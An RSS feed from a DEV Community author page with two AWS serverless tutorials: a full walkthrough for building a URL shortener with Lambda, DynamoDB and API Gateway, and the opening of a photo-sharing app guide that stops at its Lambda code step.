<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Keyur Modi</title>
    <description>The latest articles on DEV Community by Keyur Modi (@keyurmodi).</description>
    <link>https://dev.to/keyurmodi</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2933934%2Fd7f7655d-046c-44db-bd01-1aae1d81b079.jpg</url>
      <title>DEV Community: Keyur Modi</title>
      <link>https://dev.to/keyurmodi</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/keyurmodi"/>
    <language>en</language>
    <item>
      <title>Building a Serverless URL Shortener: A Practical AWS Project</title>
      <dc:creator>Keyur Modi</dc:creator>
      <pubDate>Thu, 03 Apr 2025 03:18:33 +0000</pubDate>
      <link>https://dev.to/aws-builders/building-a-serverless-url-shortener-a-practical-aws-project-3e7l</link>
      <guid>https://dev.to/aws-builders/building-a-serverless-url-shortener-a-practical-aws-project-3e7l</guid>
      <description>&lt;p&gt;A Step-by-Step Guide to Building a Production-Ready Service Using AWS Lambda, DynamoDB, and API Gateway&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc8hs7klbs4kw7afnu2vk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc8hs7klbs4kw7afnu2vk.png" width="800" height="510"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🎯 What We’re Building
&lt;/h2&gt;

&lt;p&gt;Ever wondered how URL shorteners work? In this tutorial, we’ll build one from scratch using AWS serverless services. The best part? It’ll run completely within AWS’s free tier limits.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Features
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Serverless architecture&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Production-ready code&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Scalable design&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cost-effective implementation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Complete infrastructure as code&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Technologies We’ll Use
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;AWS Lambda&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Amazon DynamoDB&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Amazon API Gateway&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Node.js&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Serverless Framework&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🚀 Getting Started
&lt;/h2&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;p&gt;Before we dive in, make sure you have:&lt;/p&gt;

&lt;p&gt;✓ AWS Account (free tier eligible)&lt;br&gt;
✓ Node.js 18.x or later&lt;br&gt;
✓ AWS CLI installed &amp;amp; configured&lt;br&gt;
✓ Serverless Framework&lt;br&gt;
✓ Your favorite code editor&lt;/p&gt;

&lt;h2&gt;
  
  
  🏗️ Project Architecture
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc8hs7klbs4kw7afnu2vk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc8hs7klbs4kw7afnu2vk.png" alt="Project Architecture Diagram" width="800" height="510"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s break down what’s happening in our architecture:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Client Layer&lt;/strong&gt; sends requests to:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Create short URLs (POST /url)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Access shortened URLs (GET /{shortId})&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;API Gateway&lt;/strong&gt; handles:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Request routing&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Method validation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Traffic management&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Lambda Functions&lt;/strong&gt; manage:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;URL creation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Redirection logic&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Error handling&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;DynamoDB&lt;/strong&gt; stores:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;URL mappings&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Creation timestamps&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Optional expiry dates&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  💻 Implementation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1: Project Setup
&lt;/h3&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir url-shortener
cd url-shortener
npm init -y
npm install @aws-sdk/client-dynamodb @aws-sdk/lib-dynamodb nanoid
npm install --save-dev serverless-offline
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Step 2: Infrastructure Definition
&lt;/h3&gt;

&lt;p&gt;Let’s create our serverless.yml configuration file:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;service: url-shortener

provider:
  name: aws
  runtime: nodejs18.x
  region: us-east-1
  environment:
    DYNAMODB_TABLE: ${self:service}-${sls:stage}
  iam:
    role:
      statements:
        - Effect: Allow
          Action:
            - dynamodb:Query
            - dynamodb:Scan
            - dynamodb:GetItem
            - dynamodb:PutItem
          Resource: "arn:aws:dynamodb:${aws:region}:*:table/${self:provider.environment.DYNAMODB_TABLE}"

functions:
  createShortUrl:
    handler: handlers/create.handler
    events:
      - http:
          path: url
          method: post
          cors: true

  redirectToLongUrl:
    handler: handlers/redirect.handler
    events:
      - http:
          path: /{shortId}
          method: get
          cors: true

resources:
  Resources:
    UrlsTable:
      Type: AWS::DynamoDB::Table
      Properties:
        TableName: ${self:provider.environment.DYNAMODB_TABLE}
        AttributeDefinitions:
          - AttributeName: shortId
            AttributeType: S
        KeySchema:
          - AttributeName: shortId
            KeyType: HASH
        BillingMode: PAY_PER_REQUEST
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Step 3: Core Functions Implementation
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;URL Creation Handler (handlers/create.js)&lt;/p&gt;

&lt;p&gt;const { nanoid } = require('nanoid');&lt;br&gt;
const { saveUrl } = require('../utils/dynamodb');&lt;/p&gt;

&lt;p&gt;module.exports.handler = async (event) =&amp;gt; {&lt;br&gt;
  try {&lt;br&gt;
    // Parse request body&lt;br&gt;
    const { url, customId } = JSON.parse(event.body);&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Validate input
if (!url) {
  return {
    statusCode: 400,
    body: JSON.stringify({ error: 'URL is required' }),
  };
}

// Validate URL format
try {
  new URL(url);
} catch (error) {
  return {
    statusCode: 400,
    body: JSON.stringify({ error: 'Invalid URL format' }),
  };
}

// Generate or use custom short ID
const shortId = customId || nanoid(8);

// Save URL mapping
const urlMapping = await saveUrl(shortId, url);

// Return success response
return {
  statusCode: 201,
  body: JSON.stringify({
    shortId,
    shortUrl: `${event.requestContext.domainName}/${shortId}`,
    originalUrl: url,
    createdAt: urlMapping.createdAt,
  }),
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;} catch (error) {&lt;br&gt;
    console.error('Error creating short URL:', error);&lt;br&gt;
    return {&lt;br&gt;
      statusCode: 500,&lt;br&gt;
      body: JSON.stringify({ error: 'Could not create short URL' }),&lt;br&gt;
    };&lt;br&gt;
  }&lt;br&gt;
};&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;URL Redirect Handler (handlers/redirect.js)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;const { getUrl } = require('../utils/dynamodb');&lt;/p&gt;

&lt;p&gt;module.exports.handler = async (event) =&amp;gt; {&lt;br&gt;
  try {&lt;br&gt;
    // Get shortId from path parameters&lt;br&gt;
    const { shortId } = event.pathParameters;&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Lookup URL mapping
const urlMapping = await getUrl(shortId);

// Handle not found
if (!urlMapping) {
  return {
    statusCode: 404,
    body: JSON.stringify({ error: 'Short URL not found' }),
  };
}

// Check for URL expiration
if (urlMapping.expiresAt &amp;amp;&amp;amp; new Date(urlMapping.expiresAt) &amp;lt; new Date()) {
  return {
    statusCode: 410,
    body: JSON.stringify({ error: 'Short URL has expired' }),
  };
}

// Return redirect
return {
  statusCode: 301,
  headers: {
    Location: urlMapping.originalUrl,
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;} catch (error) {&lt;br&gt;
    console.error('Error redirecting URL:', error);&lt;br&gt;
    return {&lt;br&gt;
      statusCode: 500,&lt;br&gt;
      body: JSON.stringify({ error: 'Could not redirect to URL' }),&lt;br&gt;
    };&lt;br&gt;
  }&lt;br&gt;
};&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;DynamoDB Utility (utils/dynamodb.js)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;const { DynamoDBClient } = require('@aws-sdk/client-dynamodb');&lt;br&gt;
const { DynamoDBDocumentClient, PutCommand, GetCommand } = require('@aws-sdk/lib-dynamodb');&lt;/p&gt;

&lt;p&gt;const client = new DynamoDBClient({});&lt;br&gt;
const ddbDocClient = DynamoDBDocumentClient.from(client);&lt;/p&gt;

&lt;p&gt;const TableName = process.env.DYNAMODB_TABLE;&lt;/p&gt;

&lt;p&gt;async function saveUrl(shortId, originalUrl, expiresAt = null) {&lt;br&gt;
  const params = {&lt;br&gt;
    TableName,&lt;br&gt;
    Item: {&lt;br&gt;
      shortId,&lt;br&gt;
      originalUrl,&lt;br&gt;
      createdAt: new Date().toISOString(),&lt;br&gt;
      expiresAt: expiresAt?.toISOString() || null,&lt;br&gt;
    },&lt;br&gt;
  };&lt;/p&gt;

&lt;p&gt;await ddbDocClient.send(new PutCommand(params));&lt;br&gt;
  return params.Item;&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;async function getUrl(shortId) {&lt;br&gt;
  const params = {&lt;br&gt;
    TableName,&lt;br&gt;
    Key: { shortId },&lt;br&gt;
  };&lt;/p&gt;

&lt;p&gt;const { Item } = await ddbDocClient.send(new GetCommand(params));&lt;br&gt;
  return Item;&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;module.exports = {&lt;br&gt;
  saveUrl,&lt;br&gt;
  getUrl,&lt;br&gt;
};&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  🚀 Deployment &amp;amp; Testing
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Deployment
&lt;/h3&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Deploy the service
serverless deploy

# The output will show your API endpoints:
# POST - https://xxxxxx.execute-api.us-east-1.amazonaws.com/dev/url
# GET - https://xxxxxx.execute-api.us-east-1.amazonaws.com/dev/{shortId}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Testing Your Service
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Create a short URL:&lt;/p&gt;

&lt;p&gt;curl -X POST \&lt;br&gt;
  &lt;a href="https://xxxxxx.execute-api.us-east-1.amazonaws.com/dev/url" rel="noopener noreferrer"&gt;https://xxxxxx.execute-api.us-east-1.amazonaws.com/dev/url&lt;/a&gt; \&lt;br&gt;
  -H 'Content-Type: application/json' \&lt;br&gt;
  -d '{"url": "&lt;a href="https://example.com/very/long/url%22%7D" rel="noopener noreferrer"&gt;https://example.com/very/long/url"}&lt;/a&gt;'&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Expected response:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "shortId": "Km2i8_js",
  "shortUrl": "https://xxxxxx.execute-api.us-east-1.amazonaws.com/dev/Km2i8_js",
  "originalUrl": "https://example.com/very/long/url",
  "createdAt": "2024-11-18T10:30:00.000Z"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ol&gt;
&lt;li&gt;Use the short URL:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Simply open the shortUrl in your browser&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Or use curl: curl -I &lt;a href="https://xxxxxx.execute-api.us-east-1.amazonaws.com/dev/Km2i8_js" rel="noopener noreferrer"&gt;https://xxxxxx.execute-api.us-east-1.amazonaws.com/dev/Km2i8_js&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  📈 Monitoring &amp;amp; Operations
&lt;/h2&gt;

&lt;h3&gt;
  
  
  CloudWatch Integration
&lt;/h3&gt;

&lt;p&gt;Your Lambda functions automatically log to CloudWatch. Access logs at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;/aws/lambda/url-shortener-dev-createShortUrl&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;/aws/lambda/url-shortener-dev-redirectToLongUrl&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Cost Management
&lt;/h3&gt;

&lt;p&gt;Free Tier Limits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;1M Lambda requests/month&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;1M API Gateway requests/month&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;25GB DynamoDB storage&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🔒 Security Best Practices
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;IAM Roles&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Least privilege principle&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Function-specific permissions&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Regular audit&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;API Security&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Input validation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Rate limiting&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CORS configuration&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Data Security&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;DynamoDB encryption at rest&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;HTTPS endpoints&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;No sensitive data storage&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🚀 Going Further
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Potential Enhancements
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Custom Domains&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Add to serverless.yml
&lt;/h1&gt;

&lt;p&gt;custom:&lt;br&gt;
  customDomain:&lt;br&gt;
    domainName: short.yourdomain.com&lt;br&gt;
    certificateName: '*.yourdomain.com'&lt;br&gt;
    createRoute53Record: true&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Analytics&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;/li&gt;

&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Add view counting&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Geographic tracking&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Usage patterns&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;User Management&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;AWS Cognito integration&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;User-specific URLs&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Access control&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Advanced Features&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;URL expiration&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Custom short URLs&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;QR code generation&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  💡 Pro Tips
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Performance Optimization&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Use AWS SDK v3&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Implement caching&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Optimize Lambda cold starts&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Cost Optimization&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Monitor usage&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Set up alerts&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use provisioned capacity when needed&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🎯 Common Pitfalls and Solutions
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Deployment Issues&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Double-check AWS credentials&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Verify IAM permissions&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Check service names&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Performance Issues&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Monitor cold starts&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Implement warm-up&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use proper indexing&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🔚 Conclusion
&lt;/h2&gt;

&lt;p&gt;You now have a production-ready URL shortener service that’s:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Scalable to millions of requests&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Cost-effective (free tier eligible)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Maintainable and extensible&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Secured with proper IAM roles&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The project demonstrates key AWS serverless concepts while providing a practical, useful service.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔗 Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/lambda/" rel="noopener noreferrer"&gt;AWS Lambda Documentation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/" rel="noopener noreferrer"&gt;DynamoDB Developer Guide&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.serverless.com/framework/docs/" rel="noopener noreferrer"&gt;Serverless Framework Documentation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/apigateway/" rel="noopener noreferrer"&gt;API Gateway Documentation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>aws</category>
      <category>serverless</category>
      <category>api</category>
      <category>cloud</category>
    </item>
    <item>
      <title>Serverless Photo-Sharing Application on AWS</title>
      <dc:creator>Keyur Modi</dc:creator>
      <pubDate>Thu, 03 Apr 2025 03:14:48 +0000</pubDate>
      <link>https://dev.to/keyurmodi/serverless-photo-sharing-application-on-aws-2215</link>
      <guid>https://dev.to/keyurmodi/serverless-photo-sharing-application-on-aws-2215</guid>
      <description>&lt;h3&gt;
  
  
  In this project, I’ve developed a scalable, serverless photo-sharing application leveraging various AWS services. This application demonstrates a modern, cloud-native approach to building robust, secure, and cost-effective solutions for storing, processing, and sharing photos.
&lt;/h3&gt;

&lt;h3&gt;
  
  
  Architecture Overview
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm6fv6ihpllxstula5fkf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm6fv6ihpllxstula5fkf.png" width="800" height="694"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The application utilizes the following AWS services:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Amazon Cognito for user authentication&lt;/li&gt;
&lt;li&gt;Amazon API Gateway for API management&lt;/li&gt;
&lt;li&gt;AWS Lambda for serverless compute&lt;/li&gt;
&lt;li&gt;Amazon S3 for photo storage&lt;/li&gt;
&lt;li&gt;Amazon DynamoDB for metadata storage&lt;/li&gt;
&lt;li&gt;Amazon CloudFront for content delivery&lt;/li&gt;
&lt;li&gt;Amazon Rekognition for image analysis (optional)&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Detailed Component Breakdown
&lt;/h3&gt;

&lt;h3&gt;
  
  
  1. User Authentication (Amazon Cognito)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Implements secure user sign-up, sign-in, and account management&lt;/li&gt;
&lt;li&gt;Provides token-based authentication for API access&lt;/li&gt;
&lt;li&gt;Supports social identity providers for enhanced user experience&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. API Management (Amazon API Gateway)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Manages RESTful API endpoints for the application&lt;/li&gt;
&lt;li&gt;Integrates directly with Lambda functions&lt;/li&gt;
&lt;li&gt;Implements API key management and usage plans for rate limiting&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Serverless Compute (AWS Lambda)
&lt;/h3&gt;

&lt;p&gt;Three main Lambda functions handle core functionality:&lt;/p&gt;

&lt;p&gt;a) Upload Handler:&lt;br&gt;
 — Processes incoming photos&lt;br&gt;
 — Stores original photos in S3&lt;br&gt;
 — Records metadata in DynamoDB&lt;/p&gt;

&lt;p&gt;b) Thumbnail Generator:&lt;br&gt;
 — Triggered by S3 events on new uploads&lt;br&gt;
 — Creates resized versions of uploaded images&lt;br&gt;
 — Stores thumbnails back in S3&lt;/p&gt;

&lt;p&gt;c) Sharing Handler:&lt;br&gt;
 — Generates and manages sharing URLs&lt;br&gt;
 — Creates signed URLs for secure, time-limited access&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Photo Storage (Amazon S3)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Scalable object storage for original photos and processed versions&lt;/li&gt;
&lt;li&gt;Configured with appropriate lifecycle policies for cost optimization&lt;/li&gt;
&lt;li&gt;Versioning enabled for data protection and recovery&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5. Metadata Storage (Amazon DynamoDB)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;NoSQL database storing photo metadata (user ID, timestamps, sharing status)&lt;/li&gt;
&lt;li&gt;Supports high-throughput read/write operations&lt;/li&gt;
&lt;li&gt;Utilizes Global Secondary Indexes for efficient querying&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6. Content Delivery (Amazon CloudFront)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Global CDN for fast and secure delivery of photos&lt;/li&gt;
&lt;li&gt;Edge caching to reduce latency and backend load&lt;/li&gt;
&lt;li&gt;HTTPS enforcement and signed URLs for secure access to shared photos&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  7. Image Analysis (Amazon Rekognition) — Optional
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;AI-powered image recognition for auto-tagging and content moderation&lt;/li&gt;
&lt;li&gt;Integrated with the upload workflow for real-time processing&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Implementation Guide
&lt;/h3&gt;

&lt;h3&gt;
  
  
  Step 1: Set Up User Authentication
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Open the Amazon Cognito console&lt;/li&gt;
&lt;li&gt;Create a new User Pool
— Configure sign-in options (email, username)
— Set password policies
— Enable Multi-Factor Authentication if desired&lt;/li&gt;
&lt;li&gt;Create an App Client for your application&lt;/li&gt;
&lt;li&gt;Note the User Pool ID and App Client ID&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 2: Create S3 Buckets
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Open the Amazon S3 console&lt;/li&gt;
&lt;li&gt;Create two buckets:
— &lt;code&gt;original-photos-bucket&lt;/code&gt;
— &lt;code&gt;processed-photos-bucket&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Configure CORS on both buckets&lt;/li&gt;
&lt;li&gt;Set up lifecycle rules for cost optimization&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 3: Set Up DynamoDB
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Create a new table named &lt;code&gt;PhotoMetadata&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Set primary key as &lt;code&gt;photoId&lt;/code&gt; (String)&lt;/li&gt;
&lt;li&gt;Add a Global Secondary Index on &lt;code&gt;userId&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Enable DynamoDB Streams for real-time processing&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 4: Create Lambda Functions
&lt;/h3&gt;

&lt;p&gt;Create the following Lambda functions:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;P.S. this is a basic code&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;a) uploadHandler:&lt;/p&gt;

